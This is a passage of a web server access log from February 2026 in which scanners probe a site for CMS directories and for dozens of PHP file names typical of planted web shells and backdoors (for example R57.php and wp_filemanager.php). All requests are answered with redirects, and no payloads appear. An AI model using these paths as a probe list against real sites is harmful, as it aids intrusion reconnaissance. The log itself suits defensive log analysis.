98.159.43.135 - - [21/Feb/2026:16:43:42 +0300] "GET /images/crystal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:42 +0300] "GET /js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:42 +0300] "GET /maint/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 98.159.43.135 - - [21/Feb/2026:16:43:42 +0300] "GET /Requests/Transport/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:43 +0300] "GET /phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 98.159.43.135 - - [21/Feb/2026:16:43:43 +0300] "GET /assets/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:43 +0300] "GET /themes/twenty/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:43 +0300] "GET /languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 98.159.43.135 - - [21/Feb/2026:16:43:43 +0300] "GET /system/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:43:44 +0300] "GET /well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 98.159.43.135 - - [21/Feb/2026:16:43:44 +0300] "GET /informasi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:44 +0300] "GET /rest-api/fields/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:44 +0300] "GET /uploads/2020/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:45 +0300] "GET /themes/rehub-theme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 98.159.43.135 - - [21/Feb/2026:16:43:45 +0300] "GET /phpmailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:45 +0300] "GET /Requests/Exception/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 98.159.43.135 - - [21/Feb/2026:16:43:45 +0300] "GET /products/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:46 +0300] "GET /themes/fitnessbase/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:46 +0300] "GET /themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:46 +0300] "GET /joomla/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:43:46 +0300] "GET /images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:47 +0300] "GET /themes/calmly/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:47 +0300] "GET /php-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 98.159.43.135 - - [21/Feb/2026:16:43:47 +0300] "GET /Feature/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:43:47 +0300] "GET /docs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:47 +0300] "GET /images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:48 +0300] "GET /themes/travelscape/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:48 +0300] "GET /font/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:43:48 +0300] "GET /Requests/Utility/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:43:49 +0300] "GET /tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:49 +0300] "GET /local/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:49 +0300] "GET /js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:43:49 +0300] "GET /themes/alera/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:43:49 +0300] "GET /assets/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:50 +0300] "GET /themes/hello-element/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:50 +0300] "GET /blocks/audio/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:50 +0300] "GET /blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:50 +0300] "GET /themes/finley/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:43:51 +0300] "GET /themes/twentytwenty/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 98.159.43.135 - - [21/Feb/2026:16:43:51 +0300] "GET /themes/wp-classic/inc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:43:51 +0300] "GET /upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 98.159.43.135 - - [21/Feb/2026:16:43:51 +0300] "GET /js/tinymce/utils/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 98.159.43.135 - - [21/Feb/2026:16:43:52 +0300] "GET /themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 98.159.43.135 - - [21/Feb/2026:16:43:52 +0300] "GET /language/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 98.159.43.135 - - [21/Feb/2026:16:43:52 +0300] "GET /.well-known/pkivalidation/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 192.36.109.102 - - [21/Feb/2026:16:52:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.1" 98.159.43.135 - - [21/Feb/2026:16:43:52 +0300] "GET /xt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 68.219.113.135 - - [21/Feb/2026:18:30:11 +0300] "GET /86.php HTTP/1.1" 301 795 "-" "-" 68.219.113.135 - - [21/Feb/2026:18:29:24 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 68.219.113.135 - - [21/Feb/2026:18:29:24 +0300] "GET /9.php HTTP/1.1" 301 795 "-" "-" 68.219.113.135 - - [21/Feb/2026:18:29:45 +0300] "GET /y.php HTTP/1.1" 301 795 "-" "-" 68.219.113.135 - - [21/Feb/2026:18:30:00 +0300] "GET /19.php HTTP/1.1" 301 795 "-" "-" 68.219.113.135 - - [21/Feb/2026:18:30:24 +0300] "GET /v.php HTTP/1.1" 301 795 "-" "-" 68.219.113.135 - - [21/Feb/2026:18:30:51 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 20.238.121.35 - - [21/Feb/2026:17:32:09 +0300] "GET /sm.php HTTP/1.1" 301 795 "-" "-" 20.238.121.35 - - [21/Feb/2026:17:32:17 +0300] "GET /sc.php HTTP/1.1" 301 795 "-" "-" 68.219.113.135 - - [21/Feb/2026:18:29:53 +0300] "GET /yas.php HTTP/1.1" 301 795 "-" "-" 68.219.113.135 - - [21/Feb/2026:18:30:36 +0300] "GET /i.php HTTP/1.1" 301 795 "-" "-" 68.219.113.135 - - [21/Feb/2026:18:31:15 +0300] "GET /e.php HTTP/1.1" 301 795 "-" "-" 20.238.121.35 - - [21/Feb/2026:17:32:03 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.238.121.35 - - [21/Feb/2026:17:32:22 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 68.219.113.135 - - [21/Feb/2026:18:31:06 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "-" 68.219.113.135 - - [21/Feb/2026:18:29:36 +0300] "GET /70.php HTTP/1.1" 301 795 "-" "-" 68.219.113.135 - - [21/Feb/2026:18:30:58 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 68.219.113.135 - - [21/Feb/2026:18:31:27 +0300] "GET /5.php HTTP/1.1" 301 795 "-" "-" 20.238.121.35 - - [21/Feb/2026:17:32:28 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 87.106.33.160 - - [21/Feb/2026:18:45:05 +0300] "GET /userfuns.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 74.248.34.156 - - [21/Feb/2026:20:19:47 +0300] "GET /f2.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:19:50 +0300] "GET /to.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:19:54 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:20:10 +0300] "GET /selesai.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:20:25 +0300] "GET /maraz.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:21:36 +0300] "GET /fetch.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:23:41 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:25:32 +0300] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:25:35 +0300] "GET /ws69.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:26:37 +0300] "GET /rtx.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:26:47 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:27:36 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:18:04 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:18:49 +0300] "GET /users.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:18:53 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:18:55 +0300] "GET /baixy.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:19:23 +0300] "GET /click.php?p= HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:19:36 +0300] "GET /a332.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:19:40 +0300] "GET /bootstrap.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:19:58 +0300] "GET /thui.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:20:02 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:20:05 +0300] "GET /fresh3.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:20:14 +0300] "GET /xs.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:22:24 +0300] "GET /logs1.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:22:28 +0300] "GET /35.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:25:06 +0300] "GET /wp-scr1pts.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:25:09 +0300] "GET /shlo.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:25:25 +0300] "GET /6bcwiqwj.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:26:09 +0300] "GET /Ov-Simple1.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:27:06 +0300] "GET /h02ugyh.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:27:14 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:27:18 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:27:20 +0300] "GET /ava.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:27:24 +0300] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:27:29 +0300] "GET /ws68.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:27:31 +0300] "GET /w1px.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:27:57 +0300] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:27:59 +0300] "GET /global.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:18:28 +0300] "GET /ckk.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:18:32 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:18:36 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:18:40 +0300] "GET /ww.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:18:42 +0300] "GET /wp-p2r3q9c8k4.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:20:49 +0300] "GET /erty.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:23:27 +0300] "GET /cc13.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:23:35 +0300] "GET /06.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:25:17 +0300] "GET /gdn.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:26:52 +0300] "GET /h2a2ck.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:18:11 +0300] "GET /ws58.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:21:42 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:21:45 +0300] "GET /tfm.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:21:48 +0300] "GET /ak.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:21:51 +0300] "GET /wp-style.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:21:55 +0300] "GET /error_log.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:22:34 +0300] "GET /lanka.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:22:37 +0300] "GET /knmt.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:22:41 +0300] "GET /ioxi.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:22:44 +0300] "GET /lkui.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:22:48 +0300] "GET /grsiuk.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:23:12 +0300] "GET /easy.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:24:18 +0300] "GET /ccu.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:24:21 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:24:42 +0300] "GET /gk.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:27:52 +0300] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:18:23 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:20:31 +0300] "GET /ws66.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:21:00 +0300] "GET /24.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:22:19 +0300] "GET /a4.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:24:28 +0300] "GET /xsox.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:24:31 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:24:34 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:24:47 +0300] "GET /zoo.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:24:53 +0300] "GET /zxekqlxb.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:25:44 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:25:47 +0300] "GET /Jcrop.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:25:51 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:26:22 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:28:06 +0300] "GET /R57.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:18:16 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:21:13 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:21:28 +0300] "GET /wp-blogs.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:22:57 +0300] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:23:18 +0300] "GET /s1.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:23:46 +0300] "GET /export.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:23:53 +0300] "GET /xxw.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:23:56 +0300] "GET /term.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:23:59 +0300] "GET /num.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:25:40 +0300] "GET /amp.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:26:30 +0300] "GET /xr.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:26:59 +0300] "GET /cytyr.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:27:40 +0300] "GET /asax.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:27:44 +0300] "GET /galer.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:27:46 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:18:59 +0300] "GET /zu.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:19:02 +0300] "GET /kbfr.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:19:15 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:21:08 +0300] "GET /bzjdlofz.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:22:07 +0300] "GET /0byte.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:17:55 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:20:42 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:22:03 +0300] "GET /0x0x.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:23:03 +0300] "GET /Geforce.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:24:03 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:24:13 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:25:55 +0300] "GET /wp-link10.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:25:59 +0300] "GET /ff1.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:26:03 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 74.248.34.156 - - [21/Feb/2026:20:26:15 +0300] "GET /ccs.php HTTP/1.1" 301 795 "-" "-" 49.7.227.204 - - [21/Feb/2026:21:30:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 34.138.60.98 - - [21/Feb/2026:21:26:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 144.91.126.77 - - [21/Feb/2026:21:16:41 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.facebook.com/" "Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/119.0.1" 139.59.24.163 - - [21/Feb/2026:21:26:18 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 147.182.236.192 - - [21/Feb/2026:21:36:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 20.111.44.121 - - [21/Feb/2026:22:56:41 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 43.135.139.165 - - [21/Feb/2026:22:16:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 147.182.236.192 - - [21/Feb/2026:21:36:45 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 43.128.156.124 - - [21/Feb/2026:23:48:28 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 3.83.76.234 - - [22/Feb/2026:00:50:16 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "TerraCotta https://github.com/CeramicTeam/CeramicTerracotta" 20.43.58.61 - - [22/Feb/2026:01:31:20 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.43.58.61 - - 